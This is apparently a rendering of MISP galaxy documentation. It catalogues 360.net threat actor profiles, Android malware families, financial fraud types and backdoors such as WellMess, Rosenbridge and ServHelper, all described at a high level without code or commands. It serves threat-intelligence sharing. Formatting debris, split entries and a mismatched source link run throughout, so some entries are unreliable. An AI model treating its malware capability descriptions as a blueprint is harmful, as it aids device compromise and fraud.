The MISP threat sharing platform is a free and open source software helping information sharing of threat intelligence including cyber security indicators, financial fraud or counter-terrorism information. The MISP project includes multiple sub-projects to support the operational requirements of analysts and improve the overall quality of information shared.
MISP galaxy is a simple method to express a large object called cluster that can be attached to MISP events or attributes. A cluster can be composed of one or more elements. Elements are expressed as key-values. There are default vocabularies available in MISP galaxy but those can be overwritten, replaced or updated as you wish. Existing clusters and vocabularies can be used as-is or as a template. MISP distribution can be applied to each cluster to permit a limited or broader distribution scheme. The following document is generated from the machine-readable JSON describing the MISP galaxy.
Funding and Support

The MISP project is financially and resource supported by CIRCL Computer Incident Response Center Luxembourg.

A CEF (Connecting Europe Facility) funding under CEF-TC-2016-3 - Cyber Security has been granted from 1st September 2017 until 31th August 2019 as Improving MISP as building blocks for next-generation information sharing.

Co-financed by the European Union
Connecting Europe Facility

If you are interested to co-fund projects around MISP, feel free to get in touch with us.
MISP galaxy

360.net Threat Actors

Known or estimated adversary groups as identified by 360.net.

360.net Threat Actors is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

摩诃草- APT-C-09

摩诃草组织（APT-C-09）又称 HangOver、VICEROY TIGER、The Dropping Elephant、Patchwork，是一个来自南亚地区的境外APT组织，该组织已持续活跃了12年。摩诃草组织最早由Norman安全公司于2013年曝光，随后又有其他安全厂商持续追踪并披露该组织的最新活动，但该组织并未由于相关攻击行动曝光而停止对相关目标的攻击，相反从2015年开始更加活跃。摩诃草组织主要针对中国、巴基斯坦等亚洲地区国家进行网络间谍活动，其中以窃取敏感信息为主。相关攻击活动最早可以追溯到2009年11月，至今还非常活跃。在针对中国地区的攻击中，该组织主要针对政府机构、科研教育领域进行攻击，其中以科研教育领域为主。

**Gold Rat - APT-C-27**

From November 2014 to the present, the Gold Rat (APT-C-27) organization has conducted an organized, planned, targeted, and prolonged attack on the Syrian region. The attack platform expanded from the Windows platform to the Android platform. Up to now, we have captured 29 Android platform attack samples, 55 Windows platform attack samples, and 9 C&C domains. The naming of APT-C-27 Gold Rat is mainly due to the following factors: 1) The organization uses a significant amount of resources, indicating that the attack organization has abundant resources and that the Gold Rat has a long-term accumulation of grains in the wild, which also has rich meanings; 2) The organization often attacks intermittently, similar to a rat; 3) Gold Rat is a relatively representative animal in the Syrian region.

### 军刀狮 - APT-C-38

从2015年7月起至今，军刀狮组织(APT-C-38)在中东地区展开了有组织、有计划、针对性的不间断攻击，其攻击平台为Windows和Android。由于军刀狮组织的攻击目标有一个主要的特色，目标是西亚中东某国的库尔德人，另Win端RAT包含的PDB路径下出现多次"Saber"，而亚洲狮为该中东国家的代表动物，结合该组织的一些其它特点以及360对APT组织的命名规则，我们将该组织命名为军刀狮(APT-C-38)。

### 人面狮 - APT-C-15

人面狮行动是活跃在中东地区的网络间谍活动，主要目标可能是涉及到埃及和以色列等国家的不同组织，目的是窃取目标敏感数据信息。活跃时间主要集中在2014年6月到2015年11月期间，相关攻击活动最早可以追溯到2011年12月。主要利用社交网络进行水坑攻击，截止到目前共捕获到恶意代码样本314个，C&C域名7个。

The tag is: *misp-galaxy:360net-threat-actor="人面狮 - APT-C-15"*

人面狮 - APT-C-15 is also known as:

**Table 12. Table References**
美人鱼 - APT-C-07

美人鱼组织(APT-C-07)来自于中东的境外APT组织,已持续活跃了9年。主要针对政府机构进行网络间谍活动,以窃取敏感信息为目的,已证实有针对丹麦外交部的攻击。

Table 13. Table References

双尾蝎 - APT-C-23

2016年5月至2017年,双尾蝎组织(APT-C-23)对巴勒斯坦教育机构、军事机构等重要领域展开了有组织、有计划、有针对性的长时间不间断攻击。攻击平台包括Windows与Android,攻击范围主要为中东地区,截至目前我们一共捕获了Android样本24个,Windows样本19个,涉及的C&C域名29个。将APT-C-23组织命名为双尾蝎,主要是考虑了以下几方面的因素:一是该组织同时攻击了巴勒斯坦和以色列这两个存在一定敌对关系的国家,这种情况在以往并不多见;二是该组织同时在Windows和Android两种平台发动攻击。虽然以往我们截获的APT组织中也有一些进行多平台攻击的例子,如海莲花,但绝大多APT组织攻击的重心仍然在Windows平台。而同时注重两种平台,并且在Android平台上攻击如此活跃的APT组织,在以往并不多见。第三个原因就是蝎子在巴以地区是一种比较有代表性的动物。

Table 14. Table References

蓝宝菇 - APT-C-12

从2011年开始持续至今,高级攻击组织蓝宝菇(APT-C-12)对我国政府、军工、科研、金融等重点单位和部门进行了持续的网络间谍活动。该组织主要关注核工业和科研等相关信息。被攻击目标主要集中在在中国大陆境内。
**毒云藤 - APT-C-01**

APT-C-01 又名毒云藤, 是一个长期针对中国境内的APT组织, 至少从2007年开始活跃。曾对中国国防、政府、科技、教育以及海事机构等重点单位和部门进行了长达11年的网络间谍活动, 主要关注军工、中美关系、两岸关系和海洋相关的领域, 在窃取重大决策及敏感信息。

APT-C-01 由360威胁情报中心首次披露, 结合该组织关联地区常见的蔓藤植物, 因此将其命名为“毒云藤”。

The tag is: `misp-galaxy:360net-threat-actor="毒云藤 - APT-C-01"`

**毒云藤 - APT-C-01** 也被称为:

- 穷奇
- 白海豚
- 绿斑

---

**Darkhotel - APT-C-06**

Darkhotel 是一个长期针对企业高管、国防工业、电子工业等重要机构实施网络间谍攻击活动的APT组织。2014年11月, 卡巴斯基实验室的安全专家首次发现了Darkhotel组织, 并说明该组织至少从2010年就已经开始活跃, 目标基本锁定在韩国、中国、俄罗斯和日本。卡巴斯基将该组织命名为Darkhotel, 是因为他们的一次攻击行动被曝光, 主要是利用酒店的无线网络有针对性地瞄准生产制造、国防、投资资本、私人股权投资、汽车等行业的精明管理者。

The tag is: `misp-galaxy:360net-threat-actor="Darkhotel - APT-C-06"`

奇幻熊 - APT-C-20

APT28(APT-C-20)又称 Pawn Storm Sofacy Group Sednit Fancy Bear STRONTIUM

APT28组织被怀疑幕后和俄罗斯政府有关，该组织相关攻击时间最早可以追溯到2004年。其主要目标包括国防工业、军队、政府组织和媒体。期间使用了大量0day漏洞，相关恶意代码除了针对Windows、Linux等PC操作系统，还会针对苹果IOS等移动设备操作系统。早前也曾被怀疑与北大西洋公约组织网络攻击事件有关。

APT28组织在2015年第一季度有大量的活动，用于攻击NATO成员国和欧洲、亚洲、中东政府。目前有许多少安厂商怀疑其与俄罗斯政府有关，而早前也曾被怀疑秘密调查MH17事件。从2016年开始该组织最新的目标瞄准了土耳其高级官员。

12
沙虫 - APT-C-13

沙虫组织的主要目标领域有：政府、教育、能源机构和电信运营商。进一步主要针对欧美国家政府、北约，以及乌克兰政府展开间谍活动。该组织曾使用0day漏洞(CVE-2014-4114)针对乌克兰政府发起了一次钓鱼攻击。而在威尔士举行讨论乌克兰危机的北约峰会针对美国也进行了攻击。该组织还使用了BlackEnergy恶意软件。而且沙虫组织不仅仅进行常规的网络间谍活动，还针对SCADA系统进行了攻击，研究者认为相关活动是为了之后的网络攻击进行侦查跟跟踪。另外有少量证据表明，针对乌克兰电力系统等工业领域的网络攻击中涉及到了BlackEnergy恶意软件。如果此次攻击的确使用了BlackEnergy恶意软件的话，那么可能会关联到沙虫组织。

Tizi

Tizi is a fully featured backdoor that installs spyware to steal sensitive data from popular social
media applications. The Google Play Protect security team discovered this family in September 2017 when device scans found an app with rooting capabilities that exploited old vulnerabilities. The team used this app to find more applications in the Tizi family, the oldest of which is from October 2015. The Tizi app developer also created a website and used social media to encourage more app installs from Google Play and third-party websites.

The tag is: *misp-galaxy:android=*"Tizi"

**Svpeng**

Svpeng is a Banking trojan which acts as a keylogger. If the Android device is not Russian, Svpeng will ask for permission to use accessibility services. In abusing this service it will gain administrator rights allowing it to draw over other apps, send and receive SMS and take screenshots when keys are pressed.

The tag is: *misp-galaxy:android=*"Svpeng"

Svpeng is also known as:

- Invisible Man

**View relationships graph**

Svpeng has relationships with:
LokiBot

LokiBot is a banking trojan for Android 4.0 and higher. It can steal the information and send SMS messages. It has the ability to start web browsers, and banking applications, along with showing notifications impersonating other apps. Upon attempt to remove it will encrypt the devices' external storage requiring Bitcoins to decrypt files.

The tag is: `misp-galaxy:android="LokiBot"`

LokiBot has relationships with:

- similar: `misp-galaxy:malpedia="Loki Password Stealer (PWS)"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:malpedia="LokiBot"` with estimative-language:likelihood-probability="likely"

BankBot

The main goal of this malware is to steal banking credentials from the victim's device. It usually impersonates flash player updaters, android system tools, or other legitimate applications.

The tag is: `misp-galaxy:android="BankBot"`

View relationships graph

BankBot has relationships with:

- similar: `misp-galaxy:malpedia="Anubis (Android)"` with estimative-language:likelihood-probability="likely"
Viking Horde

In rooted devices, Viking Horde installs software and executes code remotely to get access to the mobile data.

The tag is: `misp-galaxy:android="Viking Horde"`

HummingBad

A Chinese advertising company has developed this malware. The malware has the power to take control of devices; it forces users to click advertisements and download apps. The malware uses a multistage attack chain.

The tag is: `misp-galaxy:android="HummingBad"`

Ackposts

Ackposts is a Trojan horse for Android devices that steals the Contacts information from the compromised device and sends it to a predetermined location.

The tag is: `misp-galaxy:android="Ackposts"`
Wirex

Wirex is a Trojan horse for Android devices that opens a backdoor on the compromised device which then joins a botnet for conducting click fraud.

The tag is: misp-galaxy:android="Wirex"

WannaLocker

WannaLocker is a strain of ransomware for Android devices that encrypts files on the device's external storage and demands a payment to decrypt them.

The tag is: misp-galaxy:android="WannaLocker"

Switcher

Switcher is a Trojan horse for Android devices that modifies Wi-Fi router DNS settings. Swticher attempts to infiltrate a router’s admin interface on the devices' WIFI network by using brute force techniques. If the attack succeeds, Switcher alters the DNS settings of the router, making it possible to reroute DNS queries to a network controlled by the malicious actors.

The tag is: misp-galaxy:android="Switcher"

View relationships graph

Switcher has relationships with:

- similar: misp-galaxy:malpedia="Switcher" with estimative-language:likelihood-probability="likely"
Vibleaker was an app available on the Google Play Store named Beaver Gang Counter that contained malicious code that after specific orders from its maker would scan the user's phone for the Viber app, and then steal photos and videos recorded or sent through the app.

The tag is: *misp-galaxy:android="Vibleaker"

Pirator

Pirator is a Trojan horse on the Android platform that downloads files and steals potentially confidential information from the compromised device.
Pjapps

Pjapps is a Trojan horse that has been embedded on third party applications and opens a back door on the compromised device. It retrieves commands from a remote command and control server.

The tag is: misp-galaxy:android="Pjapps"

Pjapps.B

Pjapps.B is a Trojan horse for Android devices that opens a back door on the compromised device.

The tag is: misp-galaxy:android="Pjapps.B"

Pletora

Pletora is a Trojan horse for Android devices that may lock the compromised device. It then asks the user to pay in order to unlock the device.

The tag is: misp-galaxy:android="Pletora"

Poisoncake

Poisoncake is a Trojan horse for Android devices that opens a back door on the compromised device. It may also download potentially malicious files and steal information.

The tag is: misp-galaxy:android="Poisoncake"
Pontiflex

Pontiflex is an advertisement library that is bundled with certain Android applications.

The tag is: `misp-galaxy:android="Pontiflex"`

Positmob

Positmob is a Trojan horse program for Android devices that sends SMS messages to premium rate phone numbers.

The tag is: `misp-galaxy:android="Positmob"`

Premiumtext

Premiumtext is a detection for Trojan horses on the Android platform that send SMS texts to premium-rate numbers. These Trojans will often be repackaged versions of genuine Android software packages, often distributed outside the Android Marketplace.

The tag is: `misp-galaxy:android="Premiumtext"`

Pris

Pris is a Trojan horse for Android devices that silently downloads a malicious application and attempts to open a back door on the compromised device.

The tag is: `misp-galaxy:android="Pris"`
Qdplugin

Qdplugin is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: misp-galaxy:android="Qdplugin"

Qicsomos

Qicsomos is a Trojan horse for Android devices that sends SMS messages to a premium-rate phone number.

The tag is: misp-galaxy:android="Qicsomos"

Qitmo

Qitmo is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Qitmo"

Rabbhome

Rabbhome is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Rabbhome"
Repane

Repane is a Trojan horse for Android devices that steals information and sends SMS messages from the compromised device.

The tag is: `misp-galaxy:android="Repane"`

</table>
Podec

Late last year, we encountered an SMS Trojan called Trojan-SMS.AndroidOS.Podec which used a very powerful legitimate system to protect itself against analysis and detection. After we removed the protection, we saw a small SMS Trojan with most of its malicious payload still in development. Before long, though, we intercepted a fully-fledged version of Trojan-SMS.AndroidOS.Podec in early 2015. The updated version proved to be remarkable: it can send messages to premium-rate numbers employing tools that bypass the Advice of Charge system (which notifies users about the price of a service and requires authorization before making the payment). It can also subscribe users to premium-rate services while bypassing CAPTCHA. This is the first time Kaspersky Lab has encountered this kind of capability in any Android-Trojan.

The tag is: misp-galaxy:android="Podec"

Chamois

Chamois is one of the largest PHA families in Android to date and is distributed through multiple channels. While much of the backdoor version of this family was cleaned up in 2016, a new variant emerged in 2017. To avoid detection, this version employs a number of techniques, such as implementing custom code obfuscation, preventing user notifications, and not appearing in the device's app list. Chamois apps, which in many cases come preloaded with the system image, try to trick users into clicking ads by displaying deceptive graphics to commit WAP or SMS fraud.

The tag is: misp-galaxy:android="Chamois"

</thead>
</table>

IcicleGum

IcicleGum is a spyware PHA family whose apps rely on versions of the Igexin ads SDK that offer dynamic code-loading support. IcicleGum apps use this library's code-loading features to fetch encrypted DEX files over HTTP from command-and-control servers. The files are then decrypted and loaded via class reflection to read and send phone call logs and other data to remote locations.

The tag is: misp-galaxy:android="IcicleGum"

View relationships graph

IcicleGum has relationships with:
BreadSMS

BreadSMS is a large SMS-fraud PHA family that we started tracking at the beginning of 2017. These apps compose and send text messages to premium numbers without the user's consent. In some cases, BreadSMS apps also implement subscription-based SMS fraud and silently enroll users in services provided by their mobile carriers. These apps are linked to a group of command-and-control servers whose IP addresses change frequently and that are used to provide the apps with premium SMS numbers and message text.

The tag is: misp-galaxy:android="BreadSMS"

JamSkunk

JamSkunk is a toll-fraud PHA family composed of apps that subscribe users to services without their consent. These apps disable Wi-Fi to force traffic to go through users' mobile data connection and then contact command-and-control servers to dynamically fetch code that tries to bypass the network's WAP service subscription verification steps. This type of PHA monetizes their abuse via WAP billing, a payment method that works through mobile data connections and allows users to easily sign up and pay for new services using their existing account (i.e., services are billed directly by the carrier, and not the service provider; the user does not need a new account or a different form of payment). Once authentication is bypassed, JamSkunk apps enroll the device in services that the user may not notice until they receive and read their next bill.

The tag is: misp-galaxy:android="JamSkunk"

Expensive Wall

Expensive Wall is a family of SMS-fraud apps that affected a large number of devices in 2017.
Expensive Wall apps use code obfuscation to slow down analysis and evade detection, and rely on the JS2Java bridge to allow JavaScript code loaded inside a Webview to call Java methods the way Java apps directly do. Upon launch, Expensive Wall apps connect to command-and-control servers to fetch a domain name. This domain is then contacted via a Webview instance that loads a webpage and executes JavaScript code that calls Java methods to compose and send premium SMS messages or click ads without users' knowledge.

The tag is: *misp-galaxy:android="Expensive Wall"*

</tr>
</tbody>
</table>

**BambaPurple**

BambaPurple is a two-stage toll-fraud PHA family that tries to trick users into installing it by disguising itself as a popular app. After install, the app disables Wi-Fi to force the device to use its 3G connection, then redirects to subscription pages without the user’s knowledge, clicks subscription buttons using downloaded JavaScript, and intercepts incoming subscription SMS messages to prevent the user from unsubscribing. In a second stage, BambaPurple installs a backdoor app that requests device admin privileges and drops a .dex file. This executable checks to make sure it is not being debugged, downloads even more apps without user consent, and displays ads.

The tag is: *misp-galaxy:android="BambaPurple"*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**KoreFrog**

KoreFrog is a family of trojan apps that request permission to install packages and push other apps onto the device as system apps without the user’s authorization. System apps can be disabled by the user, but cannot be easily uninstalled. KoreFrog apps operate as daemons running in the background that try to impersonate Google and other system apps by using misleading names and icons to avoid detection. The KoreFrog PHA family has also been observed to serve ads, in addition to apps.

The tag is: *misp-galaxy:android="KoreFrog"*

**Table 463. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Gaiaphish**

Gaiaphish is a large family of trojan apps that target authentication tokens stored on the device to abuse the user's privileges for various purposes. These apps use base64-encoded URL strings to avoid detection of the command-and-control servers they rely on to download APK files. These files contain phishing apps that try to steal GAIA authentication tokens that grant the user permissions to access Google services, such as Google Play, Google+, and YouTube. With these tokens, Gaiaphish apps are able to generate spam and automatically post content (for instance, fake app ratings and comments on Google Play app pages)

The tag is: *misp-galaxy:android="Gaiaphish"*

**RedDrop**

RedDrop can perform a vast array of malicious actions, including recording nearby audio and uploading the data to cloud-storage accounts on Dropbox and Google Drive.

The tag is: *misp-galaxy:android="RedDrop"*

**HenBox**

HenBox apps masquerade as others such as VPN apps, and Android system apps; some apps carry legitimate versions of other apps which they drop and install as a decoy technique. While some of legitimate apps HenBox uses as decoys can be found on Google Play, HenBox apps themselves are found only on third-party (non-Google Play) app stores. HenBox apps appear to primarily target the Uyghurs – a Turkic ethnic group living mainly in the Xinjiang Uyghur Autonomous Region in North West China. HenBox has ties to infrastructure used in targeted attacks, with a focus on politics in South East Asia. These attackers have used additional malware families in previous activity dating to at least 2015 that include PlugX, Zupdax, 9002, and Poison Ivy. HenBox apps target devices made by Chinese consumer electronics manufacture, Xiaomi and those running MIUI, Xiaomi's operating system based on Google Android. Furthermore, the malicious apps register their intent to process certain events broadcast on compromised devices in order to execute malicious code. This is common practice for many Android apps, however, HenBox sets itself up to trigger based on alerts from Xiaomi smart-home IoT devices, and once activated, proceeds in stealing information from a
myriad of sources, including many mainstream chat, communication and social media apps. The stolen information includes personal and device information.

The tag is: misp-galaxy:android="HenBox"

MysteryBot

Cybercriminals are currently developing a new strain of malware targeting Android devices which blends the features of a banking trojan, keylogger, and mobile ransomware.

The tag is: misp-galaxy:android="MysteryBot"

Skygofree

At the beginning of October 2017, we discovered new Android spyware with several features previously unseen in the wild. In the course of further research, we found a number of related samples that point to a long-term development process. We believe the initial versions of this malware were created at least three years ago – at the end of 2014. Since then, the implant’s functionality has been improving and remarkable new features implemented, such as the ability to record audio surroundings via the microphone when an infected device is in a specified location; the stealing of WhatsApp messages via Accessibility Services; and the ability to connect an infected device to Wi-Fi networks controlled by cybercriminals. We observed many web landing pages that mimic the sites of mobile operators and which are used to spread the Android implants. These domains have been registered by the attackers since 2015. According to our telemetry, that was the year the distribution campaign was at its most active. The activities continue: the most recently observed domain was registered on October 31, 2017. Based on our KSN statistics, there are several infected individuals, exclusively in Italy. Moreover, as we dived deeper into the investigation, we discovered several spyware tools for Windows that form an implant for exfiltrating sensitive data on a targeted machine. The version we found was built at the beginning of 2017, and at the moment we are not sure whether this implant has been used in the wild. We named the malware Skygofree, because we found the word in one of the domains.

\textbf{Anubis}

Starting in June 2018, a number of new malware downloader samples that infect users with BankBot Anubis (aka Go\_P00t) was discovered. The campaign features at least 10 malicious downloaders disguised as various applications, all of which fetch mobile banking Trojans that run on Android-based devices. Anubis Masquerades as Google Protect.

The tag is: \textit{misp-galaxy:android="Anubis"}
GodFather

The Android banking Trojan Godfather is currently being utilized by cybercriminals to attack users of popular financial services across the globe. Godfather is designed to allow threat actors to harvest login credentials for banking applications and other financial services, and drain the accounts. To date, its victims include users of over 400 international targets, including banking applications, cryptocurrency wallets, and crypto exchanges. Few people realize that hiding under Godfather's hood is an old banking Trojan called Anubis, whose functionality has become outdated due to Android updates and the efforts of malware detection and prevention providers. Group-IB first detected Godfather, a mobile banking Trojan that steals the banking and cryptocurrency exchange credentials of users, in June 2021. Almost a year later, in March 2022, researchers at Threat Fabric were the first to mention the banking Trojan publicly. A few months later, in June, the Trojan stopped being circulated. One of the reasons, Group-IB analysts believe, why Godfather was taken out of use was for developers to update the Trojan further. Sure enough, Godfather reappeared in September 2022, now with slightly modified WebSocket functionality.

Phishing

In the context of ATT&CK for Fraud, phishing is described as the sending of fraudulent emails to a large audience in order to obtain sensitive information (PII, credentials, payment information). Phishing is never targeted to a specific individual or organisation. Phishing tries to create a sense of urgency or curiosity in order to capture the victim.

The tag is: misp-galaxy:financial-fraud="Phishing"

ATM skimming

ATM Skimming refers to the act of capturing the data stored on a bank cards (tracks) and the Personal Identification Number (PIN) associated to that card. Upon obtaining the data, the criminal proceeds to encode the same information into a new card and use it in combination with the PIN to perform illicit cash withdrawals. ATM Skimming is often achieved with a combination of a skimmer device for the card and a camera to capture the PIN.

The tag is: `misp-galaxy:financial-fraud="ATM skimming"`

ATM skimming is also known as:

- Skimming - CPP ATM

CP – Card Present

A card present transaction occurs when a cardholder physically presents a card to request and authorise a financial transaction.
Merchant Fraud

Fraud that occurs when a merchant account is used without the intention of operating a legitimate business transaction.

The tag is: `misp-galaxy:financial-fraud="Merchant Fraud"`

Virtual Currency Fraud

Fraud that involves virtual currency, or virtual money, which is a type of unregulated, digital money, issued and usually controlled by its developers and used and accepted among the members of a specific virtual community.

The tag is: `misp-galaxy:financial-fraud="Virtual Currency Fraud"`

Cheque Fraud

A category of criminal acts that involve making the unlawful use of cheques in order to illegally acquire or borrow funds that do not exist within the account balance or account-holder's legal ownership. Most methods involve taking advantage the time between the negotiation of the cheque and its clearance at the cheque writer’s financial institution to draw out these funds.

The tag is: `misp-galaxy:financial-fraud="Cheque Fraud"`
Digital Fraud

Fraud perpetrated via omni-channel means to digital banking or payments channels such as home banking or other electronic services.

The tag is: `misp-galaxy:financial-fraud="Digital Fraud"`

</table>
CEO/BEC Fraud

A scam in which cybercriminals spoof company email accounts and impersonate executives to try and fool an employee in accounting or HR into executing unauthorized wire transfers, or sending out confidential information.

The tag is: *misp-galaxy:financial-fraud="CEO/BEC Fraud"*

Money laundering

An illegal process of concealing the origins of money obtained illegally by passing it through a complex sequence of banking transfers or commercial transactions. The overall scheme of this process returns the money to the launderer in an obscure and indirect way.

The tag is: *misp-galaxy:financial-fraud="Money laundering"*

BIN Attack

Credit cards are produced in BIN ranges. Where an issuer does not use random generation of the card number, it is possible for an attacker to obtain one good card number and generate valid card numbers.

The tag is: *misp-galaxy:financial-fraud="BIN Attack"*

DoS - Denial of Service Attack

In computing, a denial-of-service attack is a cyber-attack in which the perpetrator seeks to make a machine or network resource unavailable to its intended users by temporarily or indefinitely disrupting services of a host connected to the Internet.

The tag is: *misp-galaxy:financial-fraud="DoS - Denial of Service Attack"*
MITM - Man-in-the-Middle Attack

In cryptography and computer security, a man-in-the-middle attack (MITM) is an attack where the attacker secretly relays and possibly alters the communication between two parties who believe they are directly communicating with each other.

The tag is: misp-galaxy:financial-fraud="MITM - Man-in-the-Middle Attack"

Transaction Reversal Fraud

Unauthorized physical manipulation of ATM cash withdrawal. Appears that cash has not been dispensed – a reversal message generated – SEE FULL TERMINAL FRAUD DEFINITION

The tag is: misp-galaxy:financial-fraud="Transaction Reversal Fraud"

Transaction Message Adulteration

The data contained in an authorisation message is manipulated to try to fool the payment processor.

The tag is: misp-galaxy:financial-fraud="Transaction Message Adulteration"

First Party (Friendly) Fraud

Fraud committed against a financial institution by one of its own customers

The tag is: misp-galaxy:financial-fraud="First Party (Friendly) Fraud"
Identity Spoofing (or entity hacking)

Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials. Alternatively, an adversary may intercept a message from a legitimate sender and attempt to make it look like the message comes from them without changing its content. The latter form of this attack can be used to hijack credentials from legitimate users. Identity Spoofing attacks need not be limited to transmitted messages - any resource that is associated with an identity (for example, a file with a signature) can be the target of an attack where the adversary attempts to change the apparent identity.

The tag is: misp-galaxy:financial-fraud="Identity Spoofing (or entity hacking)"

Authorised Push Payment Fraud

A form of fraud in which victims are manipulated into making real-time payments to fraudsters, typically by social engineering attacks involving impersonation.

The tag is: misp-galaxy:financial-fraud="Authorised Push Payment Fraud"

Direct Debit Fraud

Direct debit fraud can take place in several ways. It is often associated with identity theft, where the scammer gains access to the bank account information by posing as the victim. They can pay for services and products via a direct debit option and use this account until its owner notices.

The tag is: misp-galaxy:financial-fraud="Direct Debit Fraud"
Extortion

Obtaining benefit through coercion

The tag is: misp-galaxy:financial-fraud="Extortion"

Push Payments

Authorised push payment fraud happens when fraudsters deceive consumers or individuals at a business to send them a payment under false pretences to a bank account controlled by the fraudster. As payments made using real-time payment schemes are irrevocable, the victims cannot reverse a payment once they realise they have been conned.

The tag is: misp-galaxy:financial-fraud="Push Payments"

ATM Malware

Unauthorised software, or authorises software run in an unauthorized manner on ATM PC - SEE FULL TERMINAL FRAUD DEFINITION

The tag is: misp-galaxy:financial-fraud="ATM Malware"

Data Breach

A data breach is a security incident in which sensitive, protected or confidential data is copied, transmitted, viewed, stolen or used from a PC or Computer Network by an entity unauthorised to do so.

The tag is: misp-galaxy:financial-fraud="Data Breach"

Ransomware

A type of malicious software designed to block access to a computer system until a sum of money is paid

The tag is: misp-galaxy:financial-fraud="Ransomware"
**Fake Website**

A website that is not a legitimate venue, the site is designed to entice the visitor into revealing sensitive information, to download some form of malware or to purchase products that never arrive.

The tag is: `misp-galaxy:financial-fraud="Fake Website"`

**Fake App**

Apps in mobile devices that trick users into downloading them. They may also pose as quirky and attractive apps, providing interesting services. Once installed on a mobile device, fake apps can perform a variety of malicious routines.

The tag is: `misp-galaxy:financial-fraud="Fake App"`

**e-Skimming**

Cyber criminals introduce skimming code on e-commerce payment card processing web pages to capture credit card and personally identifiable information and send the stolen data to a domain under their control.

The tag is: `misp-galaxy:financial-fraud="e-Skimming"`

**Skimming - CPP UPT**

CPP analysis identifies Payment Terminal parking, transport, fuel, etc. locations, from where card numbers were stolen so that banks can mitigate fraud on other compromised cards.

The tag is: `misp-galaxy:financial-fraud="Skimming - CPP UPT"`

The tag is: `misp-galaxy:financial-fraud="Deployment Error"`

Merchant Negligence

Merchants not following best practice procedures to avoid criminal or fraudulent activity.

The tag is: `misp-galaxy:financial-fraud="Merchant Negligence"`

Implementation not according to Standards

Implementation of a system, solution or service not according to defined and tested standards.

The tag is: `misp-galaxy:financial-fraud="Implementation not according to Standards"`

Backdoor

A list of backdoor malware.

Backdoor is a cluster galaxy available in JSON format at [this location](https://www.association-secure-transactions.eu/industry-information/fraud-definitions/). The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

raw-data
WellMess

Cross-platform malware written in Golang, compatible with Linux and Windows. Although there are some minor differences, both variants have the same functionality. The malware communicates with a CnC server using HTTP requests and performs functions based on the received commands. Results of command execution are sent in HTTP POST requests data (RSA-encrypted). Main functionalities are: (1) Execute arbitrary shell commands, (2) Upload/Download files. The PE variant of the infection, in addition, executes PowerShell scripts. A .Net version was also observed in the wild.

The tag is: misp-galaxy:backdoor="WellMess"

View relationships graph

WellMess has relationships with:

- similar: misp-galaxy:malpedia="WellMess" with estimative-language:likelihood-probability="likely"

</tr>
</tbody>
</table>

Rosenbridge

The rosenbridge backdoor is a small, non-x86 core embedded alongside the main x86 core in the CPU. It is enabled by a model-specific-register control bit, and then toggled with a launch-instruction. The embedded core is then fed commands, wrapped in a specially formatted x86 instruction. The core executes these commands (which we call the 'deeply embedded instruction set'), bypassing all memory protections and privilege checks.

While the backdoor should require kernel level access to activate, it has been observed to be enabled by default on some systems, allowing any unprivileged code to modify the kernel.

The rosenbridge backdoor is entirely distinct from other publicly known coprocessors on x86 CPUs, such as the Management Engine or Platform Security Processor; it is more deeply embedded than any known coprocessor, having access to not only all of the CPU’s memory, but its register file and execution pipeline as well.

The tag is: misp-galaxy:backdoor="Rosenbridge"

</tr>
</tbody>
</table>
ServHelper

The purpose of the macro was to download and execute a variant of ServHelper that set up reverse SSH tunnels that enabled access to the infected host through the Remote Desktop Protocol (RDP) port 3389.

"Once ServHelper establishes remote desktop access, the malware contains functionality for the threat actor to “hijack” legitimate user accounts or their web browser profiles and use them as they see fit," researchers from Proofpoint explain in an analysis released today.

The other ServHelper variant does not include the tunneling and hijacking capabilities and functions only as a downloader for the FlawedGrace RAT.

The tag is: misp-galaxy:backdoor="ServHelper"

Rising Sun

The Rising Sun backdoor uses the RC4 cipher to encrypt its configuration data and communications. As with most backdoors, on initial infection, Rising Sun will send data regarding the infected system to a command and control (C2) site. That information captures computer and user name, IP address, operating system version and network adapter information. Rising Sun contains 14 functions including executing commands, obtaining information on disk drives and running processes, terminating processes, obtaining file creation and last access times, reading and writing files, deleting files, altering file attributes, clearing the memory of processes and connecting to a specified IP address.

The tag is: misp-galaxy:backdoor="Rising Sun"

SLUB

A new backdoor was observed using the Github Gist service and the Slack messaging system as communication channels with its masters, as well as targeting a very specific type of victim using a watering hole attack. The backdoor dubbed SLUB by the Trend Micro Cyber Safety Solutions Team

Table 620. Table References

<table>
<thead>
<tr>

</tr>
</thead>
</table>

Table 621. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
who detected it in the wild is part of a multi-stage infection process designed by capable threat actors who programmed it in C++. SLUB uses statically-linked curl, boost, and JsonCpp libraries for performing HTTP request, "extracting commands from gist snippets," and "parsing Slack channel communication." The campaign recently observed by the Trend Micro security researchers abusing the Github and Slack uses a multi-stage infection process.

The tag is: *misp-galaxy:backdoor="SLUB"

Speculoos

FreeBSD-based payload, Speculoos was delivered by exploiting CVE-2019-19781, a vulnerability affecting the Citrix Application Delivery Controller, Citrix Gateway, and Citrix SD-WAN WANOP appliances that allowed an adversary to remotely execute arbitrary commands. This vulnerability was first disclosed on December 17, 2019 via security bulletin CTX267679 which contained several mitigation recommendations. By January 24, 2020, permanent patches for the affected appliances were issued. Based on the spread of industries and regions, in addition to the timing of the vulnerability disclosure, we believe this campaign may have been more opportunistic in nature compared to the highly targeted attack campaigns that are often associated with these types of adversaries. However, considering the exploitation of the vulnerability in conjunction with delivery of a backdoor specifically designed to execute on the associated FreeBSD operating system indicates the adversary was absolutely targeting the affected devices.

The tag is: misp-galaxy:backdoor="Speculoos"

View relationships graph

Speculoos has relationships with:

BazarBackdoor

